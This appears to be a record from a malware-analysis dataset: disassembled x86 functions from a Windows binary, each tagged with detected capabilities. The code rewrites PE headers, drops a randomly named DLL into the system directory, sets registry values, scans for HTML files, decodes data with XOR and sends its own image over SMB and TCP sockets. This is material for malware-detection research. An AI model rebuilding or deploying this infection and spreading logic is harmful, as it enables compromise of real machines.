joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401b02
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x401b10
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push dword [ebp + 8]
push edx
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop edi
leave
ret 4

Function at 0x401b60
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x401bdd
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push 0x40
push 0x1000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401bdd
mov edi, eax
or eax, eax
je 0x401bdd
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
inc ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x401bf0
Capabilities:
Allocate or change rwx memory
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb40
push edi
push esi
push ebx
push str.Global1CKPUPP
push 0
push 4
call sub.kernel32.dll_OpenFileMappingA
or eax, eax
je 0x401c68
mov dword [ebp - 0x4bc], eax
push 0
push 0
push 0
push 4
push dword [ebp - 0x4bc]
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x4c0], eax
mov ecx, dword [eax]
mov dword [ebp - 0x4b8], ecx
add eax, 4
mov edi, eax
push 0x40
push 0x1000
push dword [ebp - 0x4b8]
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x4b4], eax
push dword [ebp - 0x4b8]
push edi
push dword [ebp - 0x4b4]
call fcn.0040dcff
jmp 0x401c95
push 0x258
lea eax, [ebp - 0x4b0]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x4b0]
push eax
call fcn.00401b60
mov edi, dword [ebp - 0x4b4]
cmp word [edi], 0x5a4d
jne 0x401cb3
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
jne 0x401cb3
or word [edi + 0x16], 0x2000
mov edi, dword [ebp - 0x4b4]
mov esi, edi
add esi, dword [esi + 0x3c]
mov ebx, dword [esi + 0x34]
lea esi, [esi + 0x78]
mov eax, dword [esi]
push eax
push edi
call fcn.00401d30
add eax, edi
mov eax, dword [eax + 0xc]
push eax
push edi
call fcn.00401d30
add edi, eax
push edi
call sub.kernel32.dll_lstrlenA
push eax
push 0
push edi
call fcn.0040dd30
push dword [ebp + 8]
push edi
call sub.kernel32.dll_lstrcpyA
push dword [ebp + 0xc]
call fcn.00401da0
push dword [ebp - 0x4b8]
push dword [ebp - 0x4b4]
push dword [ebp + 0xc]
call fcn.00401ab0
push 0x8000
push 0
push dword [ebp - 0x4b4]
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x401d30
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x3c]
add esi, ecx
movzx eax, word [esi + 6]
mov dword [ebp - 8], eax
add esi, 0xf8
mov ebx, esi
add ebx, 0x28
jmp 0x401d85
mov ecx, dword [esi + 0xc]
mov eax, dword [ebx + 0xc]
cmp edi, ecx
jb 0x401d6c
cmp edi, eax
jae 0x401d6c
sub edi, dword [esi + 0xc]
add edi, dword [esi + 0x14]
jmp 0x401d8b
cmp edi, ecx
jbe 0x401d7c
cmp edi, eax
ja 0x401d7c
sub edi, dword [ebx + 0xc]
add edi, dword [ebx + 0x14]
jmp 0x401d8b
add ebx, 0x28
add esi, 0x28
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x401d56
mov dword [ebp - 4], edi
popal
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x401da0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd0c
push edi
push esi
push ebx
mov dword [ebp - 0x2f4], 0
push 0x12c
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea ecx, [ebp - 0x258]
cmp byte [eax + ecx - 1], 0x5c
je 0x401dda
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x2ee]
push eax
call sub.ole32.dll_CoCreateGuid
mov esi, 8
lea ebx, str.qwertshertshjklzxcvbnjklbnjklzxcvbnmzxcvbnm
lea edi, [ebp - 0x2bc]
jmp 0x401e1e
lea edx, [ebp - 0x2ee]
mov eax, dword [ebp - 0x2f4]
lea eax, [eax + edx]
mov eax, dword [eax]
xor edx, edx
mov ecx, 0x1a
div ecx
mov al, dl
xlatb
stosb byte es:[edi], al
dec esi
inc dword [ebp - 0x2f4]
or esi, esi
jne 0x401df9
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x258]
push eax
push str._s_s.dll
push dword [ebp + 8]
call sub.user32.dll_wsprintfA
add esp, 0x10
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x401e50
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push edi
push esi
push ebx
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401ef3
mov dword [ebp - 4], eax
push edi
push edi
push edi
push 4
push edi
push dword [ebp - 4]
call sub.kernel32.dll_CreateFileMappingA
mov dword [ebp - 8], eax
push edi
push edi
push edi
push 0xf001f
push dword [ebp - 8]
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0xc], eax
push edi
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov esi, dword [ebp - 0xc]
add esi, dword [esi + 0x3c]
mov dword [esi + 0x58], edi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call sub.imagehlp.dll_CheckSumMappedFile
mov eax, dword [ebp - 0x18]
mov dword [esi + 0x58], eax
push edi
push dword [ebp - 0xc]
call sub.kernel32.dll_FlushViewOfFile
push dword [ebp - 0xc]
call sub.kernel32.dll_UnmapViewOfFile
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x402100
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push edi
push esi
push ebx
push 0x26a
call sub.ole32.dll_CoTaskMemAlloc
mov esi, eax
mov byte [esi + 0x13e], 0
push 0x4155f9
push dword [ebp + 8]
push 0x4155f3
lea eax, [esi + 0x13e]
push eax
call sub.user32.dll_wsprintfA
add esp, 0x10
push esi
lea eax, [esi + 0x13e]
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
jmp 0x40220d
cmp byte [esi + 0x2c], 0x2e
je 0x402206
lea eax, [esi + 0x2c]
push eax
push dword [ebp + 8]
push 0x4155f3
lea eax, [esi + 0x13e]
push eax
call sub.user32.dll_wsprintfA
add esp, 0x10
test byte [esi], 0x10
je 0x40218b
lea eax, [esi + 0x13e]
push eax
call fcn.00402100
push 0x64
call sub.kernel32.dll_Sleep
jmp 0x402206
lea eax, [esi + 0x2c]
push eax
call sub.user32.dll_CharLowerA
lea eax, [esi + 0x2c]
push eax
call sub.kernel32.dll_lstrlenA
lea edi, [esi + 0x2c]
cmp dword [eax + edi - 4], 0x6d74682e
je 0x4021b4
cmp dword [eax + edi - 4], 0x6c6d7468
jne 0x402206
push 0x258
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
lea eax, [esi + 0x13e]
push eax
push dword [ebp - 8]
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp - 8]
push 0x402230
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp - 0xc], eax
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call sub.kernel32.dll_SetThreadPriority
push 0xffffffffffffffff
push dword [ebp - 0xc]
call sub.kernel32.dll_WaitForSingleObject
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
push esi
push ebx
call sub.kernel32.dll_FindNextFileA
or eax, eax
jne 0x40214c
push ebx
call sub.kernel32.dll_FindClose
push esi
call sub.ole32.dll_CoTaskMemFree
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x402470
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push edi
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x12c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
push eax
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyA
or eax, eax
jne 0x4024d2
push dword [ebp + 0x14]
call sub.kernel32.dll_lstrlenA
inc eax
push eax
push dword [ebp + 0x14]
push 1
push 0
push 0
push dword [ebp - 0x130]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 0x130]
call sub.advapi32.dll_RegCloseKey
pop edi
leave
ret 0x10

Function at 0x402540
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x402592
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x4029d0
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push edi
push esi
push ebx
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 8], 0xa
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x402a8d
cmp eax, 0xffffffff
je 0x402a8d
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x402a89
mov dword [ebp - 8], 0xa
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
call sub.ws2_32.dll_select
cmp eax, 1
jne 0x402a85
push 0
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 8]
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
je 0x402a81
or eax, eax
je 0x402a81
mov dword [ebp - 0x14], 0
jmp 0x402a8f
jmp 0x402a8f
jmp 0x402a8f
jmp 0x402a8f
jmp 0x402a8f
mov eax, dword [ebp - 0x14]
pop ebx
pop esi
pop edi
leave
ret 0x14

Function at 0x402d52
Capabilities:
Encode data using xor

Disassembly:
pushal
mov ebp, 4
mov ecx, 0xe0000
lea eax, [esp + 0x28]
mov edx, 0x1000
sub ecx, edx
sub eax, edx
test dword [eax], ecx
cmp ecx, edx
jae 0x402d66
push edi
push eax
push ebx
mov ebx, 0x100
mov edi, eax
mov eax, dword [esi]
xor edx, edx
mov ecx, dword [esi + 1]
idiv ecx
add edx, ecx
inc esi
mov dword [edi], edx
add edi, ebp
sub ebx, ebp
jne 0x402d7a
pop ebx
pop edi
mov esi, edi
push esi
add edi, 0x100
push ebx
mov eax, dword [esi]
xor edx, edx
mov ecx, dword [esi + 1]
idiv ecx
add edx, ecx
inc esi
mov dword [edi], edx
add edi, ebp
sub ebx, ebp
jne 0x402d9a
pop ebx
pop esi
pop edi
mov eax, dword [ebx + esi]
xor dword [ebx + edi - 4], eax
sub ebx, ebp
jne 0x402db1
popal
ret
Function at 0x402dbe
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push edi
push esi
push ebx
mov dword [ebp - 0xc], 0
push 0x12c
lea eax, [ebp - 0x140]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.00403620
mov edi, dword [ebp - 4]
mov dword [ebp - 0x148], edi
add edi, dword [edi + 0x3c]
add edi, 0xf8
push 0
call sub.kernel32.dll_GetModuleHandleA
mov esi, eax
mov dword [ebp - 0x144], eax
add esi, dword [esi + 0x3c]
add esi, 0xf8
mov eax, 0x405010
mov edx, dword [edi + 0x14]
add edx, dword [ebp - 0x148]
add edx, 0x3000
add edx, 0x10
push 0x3e8
push eax
push edx
call fcn.0040dcff
add esi, 0x28
add edi, 0x28
add esi, 0x28
add edi, 0x28
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x144]
mov edx, dword [edi + 0x14]
add edx, dword [ebp - 0x148]
push dword [esi + 0x10]
push eax
push edx
call fcn.0040dcff
push 0x40
push 0x1000
push dword [ebp - 0x14]
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.0040dcff
mov eax, dword [ebp - 0x14]
mov dword [0x41cdec], eax
mov eax, dword [ebp - 0x10]
mov dword [0x41cde8], eax
mov dword [0x41cde0], 0x402d10
mov ecx, fcn.00402dbe
sub ecx, 0x402d10
mov dword [0x41cddc], ecx
mov dword [0x41cde4], 0x180
mov dword [0x41cdd0], 2
mov dword [0x41cdd8], 0x3000
push 0x41cdd0
call fcn.00402f10
mov dword [ebp - 0xc], eax
push 0x8000
push 0
push dword [ebp - 0x10]
call sub.kernel32.dll_VirtualFree
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret 8
Function at 0x403550
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.advapi32.dll_CryptGenRandom
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x403620
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x403699
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov ebx, eax
add eax, 0x3e8
push 0x40
push 0x1000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
or eax, eax
je 0x403699
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push ebx
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov dword [ecx], ebx
xor eax, eax
pop ebx
pop esi
pop edi
leave
ret 0xc
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x4036e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0x40
push 0x1000
push 0x1fffe
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x1fffe
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
push dword [ebp - 4]
call fcn.00403780
push dword [ebp - 8]
call fcn.004037c0
xor ebx, ebx
mov edi, dword [ebp - 8]
mov esi, dword [ebp - 4]
jmp 0x403759
xor edx, edx
mov eax, dword [ebx + esi]
mov ecx, 0xffff
div ecx
shl edx, 1
movzx eax, word [edx + edi]
mov ecx, ebx
shl ecx, 1
push ebp
movzx ebp, word [ecx + edi]
mov word [ecx + edi], ax
mov word [edx + edi], bp
pop ebp
inc ebx
cmp ebx, 0xffff
jne 0x403734
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x403780
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
push dword [ebp + 8]
push 0x1fffe
push dword [ebp - 4]
call sub.advapi32.dll_CryptGenRandom
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x407130
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push edi
push esi
push ebx
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.ws2_32.dll_gethostbyname
or eax, eax
je 0x407154
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x40715c
push dword [ebp + 0xc]
call sub.ws2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
push dword [ebp + 0x10]
call sub.ws2_32.dll_htons
mov word [ebp - 0xe], ax
push 6
push 1
push 2
call sub.ws2_32.dll_socket
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], 1
lea eax, [ebp - 0x38]
push eax
push 0x8004667e
push dword [ebp - 0x18]
call sub.ws2_32.dll_ioctlsocket
mov word [ebp - 0x3c], 1
mov word [ebp - 0x3a], 0
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x80
push 0xffff
push dword [ebp - 0x18]
call sub.ws2_32.dll_setsockopt
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call sub.ws2_32.dll_connect
cmp eax, 0xffffffff
jne 0x4072b8
call sub.ws2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x4072c1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x4072b6
cmp eax, 0xffffffff
je 0x4072b6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00402dbe
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
mov edi, 0xff
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x4072a3
cmp eax, 0xffffffff
je 0x4072a3
push 0
push edi
push esi
push dword [ebp - 0x18]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x40729f
sub ebx, eax
or ebx, ebx
jne 0x407291
mov dword [ebp - 0x1c], 1
jmp 0x4072a7
add esi, eax
cmp ebx, 0xff
jae 0x4072a5
mov edi, ebx
jmp 0x4072a5
jmp 0x4072a7
jmp 0x4072a7
jmp 0x40723a
push 0x8000
push 0
push dword [ebp - 0x20]
call sub.kernel32.dll_VirtualFree
jmp 0x4072c1
or eax, eax
jne 0x4072c1
jmp 0x407222
push 2
push dword [ebp - 0x18]
call sub.ws2_32.dll_shutdown
push dword [ebp - 0x18]
call sub.ws2_32.dll_closesocket
mov eax, dword [ebp - 0x1c]
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x407c00
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8e8
push edi
push esi
push ebx
mov dword [ebp - 0x718], 0xffffffff
mov eax, dword [0x415006]
mov dword [ebp - 4], eax
add dword [ebp - 4], 3
add dword [ebp - 4], 0x20
push 0x200
push 0
lea eax, [ebp - 0x204]
push eax
call fcn.0040dd30
lea esi, [ebp - 0x204]
lea edi, [ebp - 0x204]
push dword [ebp - 4]
call sub.ws2_32.dll_htonl
mov dword [edi], eax
add edi, 4
mov dword [edi], 0x424d53ff
mov byte [edi + 4], 0x72
mov byte [edi + 9], 0x18
mov word [edi + 0xa], 0xc853
mov word [edi + 0x1a], 0x3900
add edi, 0x20
mov eax, dword [0x415006]
mov word [edi + 1], ax
add edi, 3
push dword [0x415006]
push 0x41500a
push edi
call fcn.0040dcff
add dword [ebp - 4], 4
push 0
push dword [ebp - 4]
push esi
push dword [ebp + 8]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
jne 0x407ca5
jmp 0x407d1a
mov dword [ebp - 0x20c], 6
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x214], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x407d13
cmp eax, 0xffffffff
je 0x407d13
push 0
push 0x200
lea eax, [ebp - 0x714]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll_recv
lea esi, [ebp - 0x714]
add esi, 4
movzx eax, word [esi + 5]
jmp 0x407d1a
mov eax, 0xffffffff
jmp 0x407d1a
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x407db0
Capabilities:
Initialize winsock library

Disassembly:
call fcn.004080d0
push 0x8003
call sub.kernel32.dll_SetErrorMode
call fcn.00408370
call fcn.004081e0
push 0x41c492
call sub.kernel32.dll_InitializeCriticalSection
push 0x41c4aa
call sub.kernel32.dll_InitializeCriticalSection
push 0x41c4c2
call sub.kernel32.dll_InitializeCriticalSection
push 0x41c4da
call sub.kernel32.dll_InitializeCriticalSection
push 0x41c4f2
call sub.kernel32.dll_InitializeCriticalSection
push 0x41ca96
push 0x202
call sub.ws2_32.dll_WSAStartup
or eax, eax
jne 0x407efe
mov dword [0x41cd00], 0x94
push 0x41cd00
call sub.kernel32.dll_GetVersionExA
call fcn.004010c0
call fcn.00401080
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x41cdcc], eax
test dword [0x415721], 0x10000000
je 0x407e6b
cmp dword [0x41cd10], 2
jne 0x407e61
call fcn.004013d0
jmp 0x407efe
call fcn.004015e0
test dword [0x415721], 0x1000000
je 0x407e8e
cmp dword [0x41cd10], 2
jne 0x407e87
call fcn.00401420
jmp 0x407efe
call fcn.00407f05
test dword [0x415721], 0x100000
je 0x407eb1
cmp dword [0x41cd10], 2
jne 0x407eaa
call fcn.00401170
jmp 0x407efe
call fcn.00401640
jmp 0x407efe
test dword [0x415721], 0x10000
je 0x407edd
call fcn.004082a0
or eax, eax
jne 0x407efe
cmp dword [0x41cd10], 2
jne 0x407ed6
call fcn.00401320
jmp 0x407edb
call fcn.004016d0
jmp 0x407efe
test dword [0x415721], 0x1000
je 0x407ef9
cmp dword [0x41cd10], 2
jne 0x407efe
call fcn.00401480
jmp 0x407efe
call fcn.00407f05
push 0
call sub.kernel32.dll_ExitProcess